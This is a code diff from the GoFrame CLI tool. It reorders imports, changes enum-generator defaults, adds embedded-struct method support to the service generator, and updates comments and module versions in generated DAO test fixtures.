"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
type controllerClearer struct{}

View File

@ -10,15 +10,16 @@ import (
"fmt"
"path/filepath"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/container/gmap"
"github.com/gogf/gf/v2/container/gset"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gconv"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
type apiInterfaceGenerator struct{}

View File

@ -10,13 +10,14 @@ import (
"fmt"
"path/filepath"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/container/gset"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
type apiSdkGenerator struct{}

View File

@ -13,7 +13,6 @@ import (
"golang.org/x/mod/modfile"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/container/garray"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
@ -24,6 +23,7 @@ import (
"github.com/gogf/gf/v2/util/gtag"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
const (

View File

@ -8,22 +8,24 @@ package genenums
import (
"context"
"golang.org/x/tools/go/packages"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gtag"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
type (
CGenEnums struct{}
CGenEnumsInput struct {
g.Meta `name:"enums" config:"{CGenEnumsConfig}" brief:"{CGenEnumsBrief}" eg:"{CGenEnumsEg}"`
Src string `name:"src" short:"s" dc:"source folder path to be parsed" d:"."`
Path string `name:"path" short:"p" dc:"output go file path storing enums content" d:"internal/boot/boot_enums.go"`
Src string `name:"src" short:"s" dc:"source folder path to be parsed" d:"api"`
Path string `name:"path" short:"p" dc:"output go file path storing enums content" d:"internal/packed/packed_enums.go"`
Prefixes []string `name:"prefixes" short:"x" dc:"only exports packages that starts with specified prefixes"`
}
CGenEnumsOutput struct{}
@ -34,8 +36,8 @@ const (
CGenEnumsBrief = `parse go files in current project and generate enums go file`
CGenEnumsEg = `
gf gen enums
gf gen enums -p internal/boot/boot_enums.go
gf gen enums -p internal/boot/boot_enums.go -s .
gf gen enums -p internal/packed/packed_enums.go
gf gen enums -p internal/packed/packed_enums.go -s .
gf gen enums -x github.com/gogf
`
)

View File

@ -9,6 +9,7 @@ package genenums
import (
"go/constant"
"go/types"
"golang.org/x/tools/go/packages"
"github.com/gogf/gf/v2/encoding/gjson"

View File

@ -9,11 +9,12 @@ package genpb
import (
"context"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/os/gproc"
"github.com/gogf/gf/v2/util/gtag"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
type (

View File

@ -11,11 +11,12 @@ import (
"fmt"
"strings"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
type generateControllerInput struct {

View File

@ -10,13 +10,14 @@ import (
"context"
"fmt"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/container/gmap"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gconv"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
type generateStructTagInput struct {
@ -71,6 +72,10 @@ func (c CGenPb) doTagReplacement(ctx context.Context, content string) (string, e
if !lineTagMap.IsEmpty() {
tagContent := c.listMapToStructTag(lineTagMap)
lineTagMap.Clear()
// If already have it, don't add it anymore
if gstr.Contains(gstr.StrTill(line, "` //"), tagContent) {
continue
}
line, _ = gregex.ReplaceString("`(.+)`", fmt.Sprintf("`$1 %s`", tagContent), line)
}
lines[index] = line

View File

@ -14,11 +14,8 @@ import (
"regexp"
"strings"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/olekukonko/tablewriter"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/container/garray"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
@ -29,6 +26,10 @@ import (
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/v2/util/gconv"
"github.com/gogf/gf/v2/util/gtag"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
type (

View File

@ -94,6 +94,20 @@ const (
genServiceFileLockSeconds = 10
)
type fileInfo struct {
PkgItems []pkgItem
FuncItems []funcItem
}
type folderInfo struct {
SrcPackageName string
SrcImportedPackages *garray.SortedStrArray
SrcStructFunctions *gmap.ListMap
DstFilePath string
FileInfos []*fileInfo
}
func (c CGenService) Service(ctx context.Context, in CGenServiceInput) (out *CGenServiceOutput, err error) {
in.SrcFolder = filepath.ToSlash(in.SrcFolder)
in.SrcFolder = gstr.TrimRight(in.SrcFolder, `/`)
@ -163,7 +177,12 @@ func (c CGenService) Service(ctx context.Context, in CGenServiceInput) (out *CGe
return nil, err
}
// it will use goroutine to generate service files for each package.
var wg = sync.WaitGroup{}
var (
folderInfos []folderInfo
wg = sync.WaitGroup{}
allStructItems = make(map[string][]string)
)
for _, srcFolderPath := range srcFolderPaths {
if !gfile.IsDir(srcFolderPath) {
continue
@ -175,7 +194,7 @@ func (c CGenService) Service(ctx context.Context, in CGenServiceInput) (out *CGe
if len(files) == 0 {
continue
}
// Parse single logic package folder.
var (
srcPackageName = gfile.Basename(srcFolderPath)
srcImportedPackages = garray.NewSortedStrArray().SetUnique(true)
@ -184,14 +203,46 @@ func (c CGenService) Service(ctx context.Context, in CGenServiceInput) (out *CGe
c.getDstFileNameCase(srcPackageName, in.DstFileNameCase)+".go",
)
)
generatedDstFilePathSet.Add(dstFilePath)
// if it were to use goroutine,
// it would cause the order of the generated functions in the file to be disordered.
folder := folderInfo{
SrcPackageName: srcPackageName,
SrcImportedPackages: srcImportedPackages,
SrcStructFunctions: srcStructFunctions,
DstFilePath: dstFilePath,
}
for _, file := range files {
pkgItems, funcItems, err := c.parseItemsInSrc(file)
pkgItems, structItems, funcItems, err := c.parseItemsInSrc(file)
if err != nil {
return nil, err
}
for k, v := range structItems {
allStructItems[k] = v
}
folder.FileInfos = append(folder.FileInfos, &fileInfo{
PkgItems: pkgItems,
FuncItems: funcItems,
})
}
folderInfos = append(folderInfos, folder)
}
folderInfos = c.calculateStructEmbeddedFuncInfos(folderInfos, allStructItems)
for _, folder := range folderInfos {
// Parse single logic package folder.
var (
srcPackageName = folder.SrcPackageName
srcImportedPackages = folder.SrcImportedPackages
srcStructFunctions = folder.SrcStructFunctions
dstFilePath = folder.DstFilePath
)
generatedDstFilePathSet.Add(dstFilePath)
// if it were to use goroutine,
// it would cause the order of the generated functions in the file to be disordered.
for _, file := range folder.FileInfos {
pkgItems, funcItems := file.PkgItems, file.FuncItems
// Calculate imported packages for service generating.
err = c.calculateImportedItems(in, pkgItems, funcItems, srcImportedPackages)

View File

@ -10,8 +10,10 @@ import (
"go/ast"
"go/parser"
"go/token"
"strings"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/os/gstructs"
"github.com/gogf/gf/v2/text/gstr"
)
@ -32,7 +34,7 @@ type funcItem struct {
// parseItemsInSrc parses the pkgItem and funcItem from the specified file.
// It can't skip the private methods.
// It can't skip the imported packages of import alias equal to `_`.
func (c CGenService) parseItemsInSrc(filePath string) (pkgItems []pkgItem, funcItems []funcItem, err error) {
func (c CGenService) parseItemsInSrc(filePath string) (pkgItems []pkgItem, structItems map[string][]string, funcItems []funcItem, err error) {
var (
fileContent = gfile.GetContents(filePath)
fileSet = token.NewFileSet()
@ -43,11 +45,107 @@ func (c CGenService) parseItemsInSrc(filePath string) (pkgItems []pkgItem, funcI
return
}
structItems = make(map[string][]string)
pkg := node.Name.Name
pkgAliasMap := make(map[string]string)
ast.Inspect(node, func(n ast.Node) bool {
switch x := n.(type) {
case *ast.ImportSpec:
// parse the imported packages.
pkgItems = append(pkgItems, c.parseImportPackages(x))
pkgItem := c.parseImportPackages(x)
pkgItems = append(pkgItems, pkgItem)
pkgPath := strings.Trim(pkgItem.Path, "\"")
pkgPath = strings.ReplaceAll(pkgPath, "\\", "/")
tmp := strings.Split(pkgPath, "/")
srcPkg := tmp[len(tmp)-1]
if srcPkg != pkgItem.Alias {
pkgAliasMap[pkgItem.Alias] = srcPkg
}
case *ast.TypeSpec: // type define
switch xType := x.Type.(type) {
case *ast.StructType: // define struct
// parse the struct declaration.
var structName = pkg + "." + x.Name.Name
var structEmbeddedStruct []string
for _, field := range xType.Fields.List {
if len(field.Names) > 0 || field.Tag == nil { // not anonymous field
continue
}
tagValue := strings.Trim(field.Tag.Value, "`")
tagValue = strings.TrimSpace(tagValue)
if len(tagValue) == 0 { // not set tag
continue
}
tags := gstructs.ParseTag(tagValue)
if v, ok := tags["gen"]; !ok || v != "extend" {
continue
}
var embeddedStruct string
switch v := field.Type.(type) {
case *ast.Ident:
if embeddedStruct, err = c.astExprToString(v); err != nil {
embeddedStruct = ""
break
}
embeddedStruct = pkg + "." + embeddedStruct
case *ast.StarExpr:
if embeddedStruct, err = c.astExprToString(v.X); err != nil {
embeddedStruct = ""
break
}
embeddedStruct = pkg + "." + embeddedStruct
case *ast.SelectorExpr:
var pkg string
if pkg, err = c.astExprToString(v.X); err != nil {
embeddedStruct = ""
break
}
if v, ok := pkgAliasMap[pkg]; ok {
pkg = v
}
if embeddedStruct, err = c.astExprToString(v.Sel); err != nil {
embeddedStruct = ""
break
}
embeddedStruct = pkg + "." + embeddedStruct
}
if embeddedStruct == "" {
continue
}
structEmbeddedStruct = append(structEmbeddedStruct, embeddedStruct)
}
if len(structEmbeddedStruct) > 0 {
structItems[structName] = structEmbeddedStruct
}
case *ast.Ident: // define ident
var (
structName = pkg + "." + x.Name.Name
typeName = pkg + "." + xType.Name
)
structItems[structName] = []string{typeName}
case *ast.SelectorExpr: // define selector
var (
structName = pkg + "." + x.Name.Name
selecotrPkg string
typeName string
)
if selecotrPkg, err = c.astExprToString(xType.X); err != nil {
break
}
if v, ok := pkgAliasMap[selecotrPkg]; ok {
selecotrPkg = v
}
if typeName, err = c.astExprToString(xType.Sel); err != nil {
break
}
typeName = selecotrPkg + "." + typeName
structItems[structName] = []string{typeName}
}
case *ast.FuncDecl:
// parse the function items.

View File

@ -10,12 +10,13 @@ import (
"fmt"
"strings"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/v2/container/garray"
"github.com/gogf/gf/v2/container/gmap"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
)
func (c CGenService) calculateImportedItems(
@ -150,3 +151,78 @@ func (c CGenService) tidyResult(resultSlice []map[string]string) (resultStr stri
}
return
}
func (c CGenService) getStructFuncItems(structName string, allStructItems map[string][]string, funcItemsWithoutEmbed map[string][]*funcItem) (funcItems []*funcItem) {
funcItemNameSet := map[string]struct{}{}
if items, ok := funcItemsWithoutEmbed[structName]; ok {
funcItems = append(funcItems, items...)
for _, item := range items {
funcItemNameSet[item.MethodName] = struct{}{}
}
}
embeddedStructNames, ok := allStructItems[structName]
if !ok {
return
}
for _, embeddedStructName := range embeddedStructNames {
items := c.getStructFuncItems(embeddedStructName, allStructItems, funcItemsWithoutEmbed)
for _, item := range items {
if _, ok := funcItemNameSet[item.MethodName]; ok {
continue
}
funcItemNameSet[item.MethodName] = struct{}{}
funcItems = append(funcItems, item)
}
}
return
}
func (c CGenService) calculateStructEmbeddedFuncInfos(folderInfos []folderInfo, allStructItems map[string][]string) (newFolerInfos []folderInfo) {
funcItemsWithoutEmbed := make(map[string][]*funcItem)
funcItemMap := make(map[string]*([]funcItem))
funcItemsWithoutEmbedMap := make(map[string]*funcItem)
newFolerInfos = append(newFolerInfos, folderInfos...)
for _, folder := range newFolerInfos {
for k := range folder.FileInfos {
fi := folder.FileInfos[k]
for k := range fi.FuncItems {
item := &fi.FuncItems[k]
receiver := folder.SrcPackageName + "." + strings.ReplaceAll(item.Receiver, "*", "")
funcItemMap[receiver] = &fi.FuncItems
funcItemsWithoutEmbed[receiver] = append(funcItemsWithoutEmbed[receiver], item)
funcItemsWithoutEmbedMap[fmt.Sprintf("%s:%s", receiver, item.MethodName)] = item
}
}
}
for receiver, structItems := range allStructItems {
receiverName := strings.ReplaceAll(receiver, "*", "")
for _, structName := range structItems {
// Get the list of methods for the corresponding structName.
for _, funcItem := range c.getStructFuncItems(structName, allStructItems, funcItemsWithoutEmbed) {
if _, ok := funcItemsWithoutEmbedMap[fmt.Sprintf("%s:%s", receiverName, funcItem.MethodName)]; ok {
continue
}
if funcItemsPtr, ok := funcItemMap[receiverName]; ok {
newFuncItem := *funcItem
newFuncItem.Receiver = getReceiverName(receiver)
(*funcItemsPtr) = append((*funcItemsPtr), newFuncItem)
}
}
}
}
return
}
func getReceiverName(receiver string) string {
ss := strings.Split(receiver, ".")
return ss[len(ss)-1]
}

View File

@ -10,13 +10,14 @@ import (
"bytes"
"fmt"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
"github.com/gogf/gf/v2/container/gmap"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/os/gfile"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
)
type generateServiceFilesInput struct {

View File

@ -10,11 +10,12 @@ import (
"bytes"
"fmt"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
"github.com/gogf/gf/v2/container/gmap"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/text/gregex"
"github.com/gogf/gf/v2/text/gstr"
"github.com/gogf/gf/cmd/gf/v2/internal/consts"
)
func (c CGenService) generatePackageImports(generatedContent *bytes.Buffer, packageName string, imports []string) {

View File

@ -2,7 +2,7 @@ module github.com/gogf/gf/cmd/gf/cmd/gf/testdata/vardump/v2
go 1.18
require github.com/gogf/gf/v2 v2.8.1
require github.com/gogf/gf/v2 v2.8.2
require (
go.opentelemetry.io/otel v1.24.0 // indirect

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// TableUserDao is the data access object for table table_user.
// TableUserDao is the data access object for the table table_user.
type TableUserDao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns TableUserColumns // columns contains all the column names of Table for convenient usage.
}
// TableUserColumns defines and stores column names for table table_user.
// TableUserColumns defines and stores column names for the table table_user.
type TableUserColumns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type TableUserColumns struct {
UpdateAt string // Updated Time
}
// tableUserColumns holds the columns for table table_user.
// tableUserColumns holds the columns for the table table_user.
var tableUserColumns = TableUserColumns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewTableUserDao() *TableUserDao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *TableUserDao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *TableUserDao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *TableUserDao) Columns() TableUserColumns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *TableUserDao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *TableUserDao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *TableUserDao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"for-gendao-test/pkg/dao/internal"
)
// internalTableUserDao is internal type for wrapping internal DAO implements.
// internalTableUserDao is an internal type for wrapping the internal DAO implementation.
type internalTableUserDao = *internal.TableUserDao
// tableUserDao is the data access object for table table_user.
// You can define custom methods on it to extend its functionality as you wish.
// tableUserDao is the data access object for the table table_user.
// You can define custom methods on it to extend its functionality as needed.
type tableUserDao struct {
internalTableUserDao
}
var (
// TableUser is globally public accessible object for table table_user operations.
// TableUser is a globally accessible object for table table_user operations.
TableUser = tableUserDao{
internal.NewTableUserDao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// TableUserDao is the data access object for table table_user.
// TableUserDao is the data access object for the table table_user.
type TableUserDao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns TableUserColumns // columns contains all the column names of Table for convenient usage.
}
// TableUserColumns defines and stores column names for table table_user.
// TableUserColumns defines and stores column names for the table table_user.
type TableUserColumns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type TableUserColumns struct {
UpdateAt string // Updated Time
}
// tableUserColumns holds the columns for table table_user.
// tableUserColumns holds the columns for the table table_user.
var tableUserColumns = TableUserColumns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewTableUserDao() *TableUserDao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *TableUserDao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *TableUserDao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *TableUserDao) Columns() TableUserColumns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *TableUserDao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *TableUserDao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *TableUserDao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"for-gendao-test/pkg/dao/internal"
)
// internalTableUserDao is internal type for wrapping internal DAO implements.
// internalTableUserDao is an internal type for wrapping the internal DAO implementation.
type internalTableUserDao = *internal.TableUserDao
// tableUserDao is the data access object for table table_user.
// You can define custom methods on it to extend its functionality as you wish.
// tableUserDao is the data access object for the table table_user.
// You can define custom methods on it to extend its functionality as needed.
type tableUserDao struct {
internalTableUserDao
}
var (
// TableUser is globally public accessible object for table table_user operations.
// TableUser is a globally accessible object for table table_user operations.
TableUser = tableUserDao{
internal.NewTableUserDao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// TableUserDao is the data access object for table table_user.
// TableUserDao is the data access object for the table table_user.
type TableUserDao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns TableUserColumns // columns contains all the column names of Table for convenient usage.
}
// TableUserColumns defines and stores column names for table table_user.
// TableUserColumns defines and stores column names for the table table_user.
type TableUserColumns struct {
Id string //
Passport string //
@ -28,7 +28,7 @@ type TableUserColumns struct {
UpdatedAt string //
}
// tableUserColumns holds the columns for table table_user.
// tableUserColumns holds the columns for the table table_user.
var tableUserColumns = TableUserColumns{
Id: "id",
Passport: "passport",
@ -47,36 +47,36 @@ func NewTableUserDao() *TableUserDao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *TableUserDao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *TableUserDao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *TableUserDao) Columns() TableUserColumns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *TableUserDao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *TableUserDao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *TableUserDao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"for-gendao-test/pkg/dao/internal"
)
// internalTableUserDao is internal type for wrapping internal DAO implements.
// internalTableUserDao is an internal type for wrapping the internal DAO implementation.
type internalTableUserDao = *internal.TableUserDao
// tableUserDao is the data access object for table table_user.
// You can define custom methods on it to extend its functionality as you wish.
// tableUserDao is the data access object for the table table_user.
// You can define custom methods on it to extend its functionality as needed.
type tableUserDao struct {
internalTableUserDao
}
var (
// TableUser is globally public accessible object for table table_user operations.
// TableUser is a globally accessible object for table table_user operations.
TableUser = tableUserDao{
internal.NewTableUserDao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -11,14 +11,14 @@ import (
"github.com/gogf/gf/v2/frame/g"
)
// TableUserDao is the data access object for table table_user.
// TableUserDao is the data access object for the table table_user.
type TableUserDao struct {
table string // table is the underlying table name of the DAO.
group string // group is the database configuration group name of current DAO.
group string // group is the database configuration group name of the current DAO.
columns TableUserColumns // columns contains all the column names of Table for convenient usage.
}
// TableUserColumns defines and stores column names for table table_user.
// TableUserColumns defines and stores column names for the table table_user.
type TableUserColumns struct {
Id string // User ID
Passport string // User Passport
@ -29,7 +29,7 @@ type TableUserColumns struct {
UpdateAt string // Updated Time
}
// tableUserColumns holds the columns for table table_user.
// tableUserColumns holds the columns for the table table_user.
var tableUserColumns = TableUserColumns{
Id: "id",
Passport: "passport",
@ -49,36 +49,36 @@ func NewTableUserDao() *TableUserDao {
}
}
// DB retrieves and returns the underlying raw database management object of current DAO.
// DB retrieves and returns the underlying raw database management object of the current DAO.
func (dao *TableUserDao) DB() gdb.DB {
return g.DB(dao.group)
}
// Table returns the table name of current dao.
// Table returns the table name of the current DAO.
func (dao *TableUserDao) Table() string {
return dao.table
}
// Columns returns all column names of current dao.
// Columns returns all column names of the current DAO.
func (dao *TableUserDao) Columns() TableUserColumns {
return dao.columns
}
// Group returns the configuration group name of database of current dao.
// Group returns the database configuration group name of the current DAO.
func (dao *TableUserDao) Group() string {
return dao.group
}
// Ctx creates and returns the Model for current DAO, It automatically sets the context for current operation.
// Ctx creates and returns a Model for the current DAO. It automatically sets the context for the current operation.
func (dao *TableUserDao) Ctx(ctx context.Context) *gdb.Model {
return dao.DB().Model(dao.table).Safe().Ctx(ctx)
}
// Transaction wraps the transaction logic using function f.
// It rollbacks the transaction and returns the error from function f if it returns non-nil error.
// It rolls back the transaction and returns the error if function f returns a non-nil error.
// It commits the transaction and returns nil if function f returns nil.
//
// Note that, you should not Commit or Rollback the transaction in function f
// Note: Do not commit or roll back the transaction in function f,
// as it is automatically handled by this function.
func (dao *TableUserDao) Transaction(ctx context.Context, f func(ctx context.Context, tx gdb.TX) error) (err error) {
return dao.Ctx(ctx).Transaction(ctx, f)

View File

@ -1,5 +1,5 @@
// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// This file is auto-generated by the GoFrame CLI tool. You may modify it as needed.
// =================================================================================
package dao
@ -8,20 +8,20 @@ import (
"for-gendao-test/pkg/dao/internal"
)
// internalTableUserDao is internal type for wrapping internal DAO implements.
// internalTableUserDao is an internal type for wrapping the internal DAO implementation.
type internalTableUserDao = *internal.TableUserDao
// tableUserDao is the data access object for table table_user.
// You can define custom methods on it to extend its functionality as you wish.
// tableUserDao is the data access object for the table table_user.
// You can define custom methods on it to extend its functionality as needed.
type tableUserDao struct {
internalTableUserDao
}
var (
// TableUser is globally public accessible object for table table_user operations.
// TableUser is a globally accessible object for table table_user operations.
TableUser = tableUserDao{
internal.NewTableUserDao(),
}
)
// Fill with you ideas below.
// Add your custom methods and functionality below.

View File

@ -1,9 +1,9 @@
module for-gendao-test/pkg
go 1.18
go 1.20
require (
github.com/gogf/gf/v2 v2.5.3
github.com/gogf/gf/v2 v2.8.1
github.com/shopspring/decimal v1.3.1
)
@ -22,9 +22,9 @@ require (
github.com/mattn/go-runewidth v0.0.15 // indirect
github.com/olekukonko/tablewriter v0.0.5 // indirect
github.com/rivo/uniseg v0.4.4 // indirect
go.opentelemetry.io/otel v1.14.0 // indirect
go.opentelemetry.io/otel/sdk v1.14.0 // indirect
go.opentelemetry.io/otel/trace v1.14.0 // indirect
go.opentelemetry.io/otel v1.24.0 // indirect
go.opentelemetry.io/otel/sdk v1.24.0 // indirect
go.opentelemetry.io/otel/trace v1.24.0 // indirect
golang.org/x/net v0.17.0 // indirect
golang.org/x/sys v0.13.0 // indirect
golang.org/x/text v0.13.0 // indirect

View File

@ -11,8 +11,9 @@ import (
"go/ast"
t "time"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/service"
gdbalias "github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/testdata/genservice/service"
)
type sArticle struct {

View File

@ -14,12 +14,13 @@ package article
import (
"context"
// This is a random comment
gdbas "github.com/gogf/gf/v2/database/gdb"
/**
*
*/
_ "github.com/gogf/gf/v2/os/gfile"
// This is a random comment
gdbas "github.com/gogf/gf/v2/database/gdb"
)
// T1 random comment

View File

@ -0,0 +1,17 @@
package base
type Base = sBase
type sBase struct {
baseDestory `gen:"extend"`
}
// sBase Init
func (*sBase) Init() {
}
// sBase Destory
func (*sBase) Destory() {
}

View File

@ -0,0 +1,13 @@
package base
type baseDestory struct{}
// baseDestory Destory
func (baseDestory) Destory() {
}
// baseDestory BeforeDestory
func (baseDestory) BeforeDestory() {
}

View File

@ -0,0 +1,14 @@
package sub
type SubBase struct {
}
// subbase init
